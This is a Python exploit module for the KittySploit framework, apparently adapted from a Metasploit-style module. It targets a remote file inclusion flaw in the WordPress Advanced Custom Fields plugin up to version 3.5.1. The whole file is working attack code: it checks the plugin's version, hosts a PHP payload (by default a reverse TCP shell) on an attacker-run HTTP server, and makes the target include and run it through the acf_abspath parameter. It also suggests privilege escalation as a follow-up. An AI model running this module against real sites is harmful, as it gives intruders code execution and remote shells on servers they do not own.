WordPress Advanced Custom Fields RFI

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_server import Http_server
from lib.protocols.http.wordpress import Wordpress


class Module(Exploit, Http_client, Http_server, Wordpress):
    __info__ = {
        "name": "WordPress Advanced Custom Fields RFI",
        "description": (
            "Advanced Custom Fields plugin <= 3.5.1 is vulnerable to remote file inclusion "
            "through core/actions/export.php via acf_abspath. Successful code execution "
            "depends on allow_url_include being enabled on target PHP."
        ),
        "author": [
            "Charlie Eriksen <charlie[at]ceriksen.com>",
            "rastating",
            "KittySploit Team"],
        "references": [
            "http://secunia.com/advisories/51037/",
            "https://wpscan.com/vulnerability/6103/"],
        "cve": "",
        "platform": Platform.PHP,
        "arch": Arch.PHP,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    rfi_host = OptString("", "Host/IP reachable by target for remote inclusion", required=True)
    rfi_path = OptString("", "Remote file path served for inclusion", required=False)

    def _wordpress_base_path(self) -> str:
        # Reuse Http_client's native "path" option as WordPress root.
        return self.wp_normalize_base_path(self.path)

    def _plugin_readme_path(self) -> str:
        return self.wp_plugin_path(self._wordpress_base_path(), "advanced-custom-fields", "readme.txt")

    def _vulnerable_export_path(self) -> str:
        return self.wp_plugin_path(
            self._wordpress_base_path(),
            "advanced-custom-fields",
            "core",
            "actions",
            "export.php",
        )

    def _is_vulnerable_version(self, version: str) -> bool:
        try:
            return self.wp_version_to_tuple(version) <= (3, 5, 1)
        except Exception:
            return False

    def check(self):
        try:
            response = self.http_request(method="GET", path=self._plugin_readme_path(), timeout=10)
            if not response or response.status_code != 200:
                return {"vulnerable": False, "reason": "ACF plugin readme not accessible", "confidence": "low"}

            version = self.wp_extract_version_from_readme(response.text or "")
            if not version:
                return {"vulnerable": False, "reason": "Unable to determine ACF version", "confidence": "low"}

            if self._is_vulnerable_version(version):
                return {
                    "vulnerable": True,
                    "reason": f"Detected vulnerable ACF version: {version}",
                    "confidence": "high",
                }

            return {
                "vulnerable": False,
                "reason": f"ACF version {version} appears patched (> 3.5.1)",
                "confidence": "high",
            }
        except Exception as e:
            return {"vulnerable": False, "reason": f"Check failed: {e}", "confidence": "low"}

    def run(self):
        include_host = (self.rfi_host or "").strip()
        include_path = (self.rfi_path or "").strip() or self.random_text(8)
        include_path = include_path.lstrip("/")

        if not include_host:
            print_error("rfi_host is required and must be reachable by the target.")
            return False

        self.srvport = self.srvport or 8888
        payload_php = f"<?php {self.payload} ?>"
        include_url = f"http://{include_host}:{self.srvport}/{include_path}"
        export_path = self._vulnerable_export_path()

        print_status(f"Starting local HTTP payload server on {self.srvhost}:{self.srvport}...")

        httpd = None
        try:
            _, _, httpd = self.web_delivery(
                data=payload_php,
                forever=True,
                background=True,
                path=f"/{include_path}",
            )
        except Exception as e:
            print_error(f"Failed to start HTTP server: {e}")
            return False

        try:
            print_status(f"Triggering RFI via {export_path}...")
            response = self.http_request(
                method="POST",
                path=export_path,
                data={"acf_abspath": include_url},
                timeout=20,
                allow_redirects=False,
            )
        finally:
            self.web_shutdown(httpd)

        if not response:
            self.not_vulnerable()
            return False

        body = (response.text or "").strip()
        print_status(f"Response code: {response.status_code}")

        if response.status_code == 500 or "allow_url_include" in body.lower():
            print_error("allow_url_include appears disabled on target.")
            return False

        if response.status_code == 200 and body:
            print_success(f"Target response: {body[:400]}")
            self.vulnerable()
            return True

        print_warning("Exploit request sent but no direct output observed.")
        return True